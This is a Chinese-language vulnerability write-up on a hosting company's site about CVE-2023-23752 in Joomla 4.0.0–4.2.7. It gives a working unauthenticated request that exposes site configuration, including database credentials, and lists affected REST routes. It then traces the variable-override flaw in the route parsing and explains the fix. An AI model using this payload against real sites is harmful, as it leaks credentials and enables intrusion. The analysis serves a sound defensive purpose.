安全播报

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
CVE-2023-23752:Joomla未授权访问漏洞
2023-03-23 14:14:19 【
0x01 简介


Joomla:开源CMS三巨头之一,是一套全球知名的内容管理系统,该系统使用PHP语言与MySQL数据库开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。


0x02 漏洞概述


漏洞编号:CVE-2023-23752
攻击者可以通过构造特制请求进而访问RestAPI接口,通过变量覆盖漏洞绕过鉴权,从而获取Joomla相关配置信息。

0x03 影响版本


受影响的版本:4.0.0 ~ 4.2.7
存在漏洞的路由为Rest API,Rest API于4.x正式开发


0x04 环境搭建


下载地址:Joomla V4.2.7
https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
环境配置:Nginx 1.15.11 + Mysql 5.7.26 + PHP 7.3.4nts
安装方式:访问站点根目录即可开始安装

0x05 漏洞复现


Payload格式:http://servername/api/index.php/路由路径?public=true
/api/index.php/v1/config/application?public=true:此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码



image-20230225001553364
除此之外受影响的路由还有
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
0x06 漏洞分析




造成未授权的接口为Rest API接口,其对应的路由为:/api/index.php
我们在/api/index.php下个断点开始debug



image-20230224233514907
跳转/api/includes/app.php



image-20230224233607765
步入函数
public function execute()
{
try {
# 过滤用户传参
$this->sanityCheckSystemVariables();
$this->setupLogging();
$this->createExtensionNamespaceMap();

# 执行应用程序
$this->doExecute();

# 渲染模板对象
if ($this->document instanceof JoomlaCMSDocumentDocument) {
// Render the application output.
$this->render();
}

# 处理gzip压缩输出
...
} catch (Throwable $throwable) {
# 错误处理
}

# 触发onBeforeRespond事件
$this->getDispatcher()->dispatch('onBeforeRespond');

# 发送程序响应信息
$this->respond();

# 触发onAfterRespond事件
$this->getDispatcher()->dispatch('onAfterRespond');
}
可以看出$this->doExecute();中已经处理了后端数据,得到模板对象/响应信息了
我们步入该函数
protected function doExecute()
{
# 初始化应用程序
$this->initialiseApp();
# 在profiler中标记afterInitialise
JDEBUG ? $this->profiler->mark('afterInitialise') : null;
# 处理路由
$this->route();
# 在profiler中标记afterApiRoute
JDEBUG ? $this->profiler->mark('afterApiRoute') : null;
# 分发应用程序
$this->dispatch();
# 在profiler中标记afterDispatch
JDEBUG ? $this->profiler->mark('afterDispatch') : null;
}
发现了处理路由的逻辑$this->route();,我们跟进
protected function route()
{
...

try {
$this->handlePreflight($method, $router);

$route = $router->parseApiRoute($method);  # 解析API路由
} catch (RouteNotFoundException $e) {
$caught404 = true;
}

...

# 鉴权
if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
if (!$this->login(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])) {
throw new AuthenticationFailed();
}
}
}
先解析API路由,然后继续鉴权操作,先跟进解析API路由的方法
public function parseApiRoute($method = 'GET')
{
$method = strtoupper($method);     # value: "GET"

$validMethods = ["GET", "POST", "PUT", "DELETE", "HEAD", "TRACE", "PATCH"];

if (!in_array($method, $validMethods)) {
throw new InvalidArgumentException(sprintf('%s is not a valid HTTP method.', $method));
}

# 从路由中获取路径,并删除开头或结尾的斜杠
$routePath = $this->getRoutePath();

# 获取GET传参,以键值对的方式存储在数组中
$query = Uri::getInstance()->getQuery(true);

# 遍历所有已知的路线以寻找匹配
foreach ($this->routes as $route) {
if (in_array($method, $route->getMethods())) {
if (preg_match($route->getRegex(), ltrim($routePath, '/'), $matches)) {
// 进入分支,则匹配成功
$vars = $route->getDefaults();

foreach ($route->getRouteVariables() as $i => $var) {
$vars[$var] = $matches[$i + 1];
}

$controller = preg_split("/[.]+/", $route->getController());
$vars       = array_merge($vars, $query);  # 将GET传参拼接到返回数组['vars']中

return [
'controller' => $controller[0],
'task'       => $controller[1],
'vars'       => $vars
];
}
}
}

throw new RouteNotFoundException(sprintf('Unable to handle request for route `%s`.', $routePath));
}
调试的时候,需要传递一个已有路由才能进入分支,比如: /api/index.php/v1/banners
因为array_merge()的变量覆盖特性



image-20230225000709895
我们可以控制$vars的值,也就是说在解析路由的位置存在一个变量覆盖漏洞
然后我们接着往后看鉴权部分
if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
if (!$this->login(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])) {
throw new AuthenticationFailed();
}
}
因为$route['vars']可控,所以我们可以通过传递GET传参将public原有值覆盖掉,然后将其设定为true,将不会进行身份认证

0x07 修复方式



变量覆盖漏洞的修复方式比较简单,如果是覆盖已有变量造成危害,则在存在变量覆盖的函数前判断变量是否已经存在

如果像这种,是因为变量覆盖新增了一个用于鉴权的变量,则在变量覆盖函数之后,将对应的变量释放掉即可







可以看到,在存在变量覆盖的路由解析方法调用之后,unset掉了用于鉴权的变量,这样就无法通过变量覆盖绕过鉴权了


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇网络欺骗技术如何增强企业安全 下一篇防御CC攻击、ddos攻击防御利器高..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800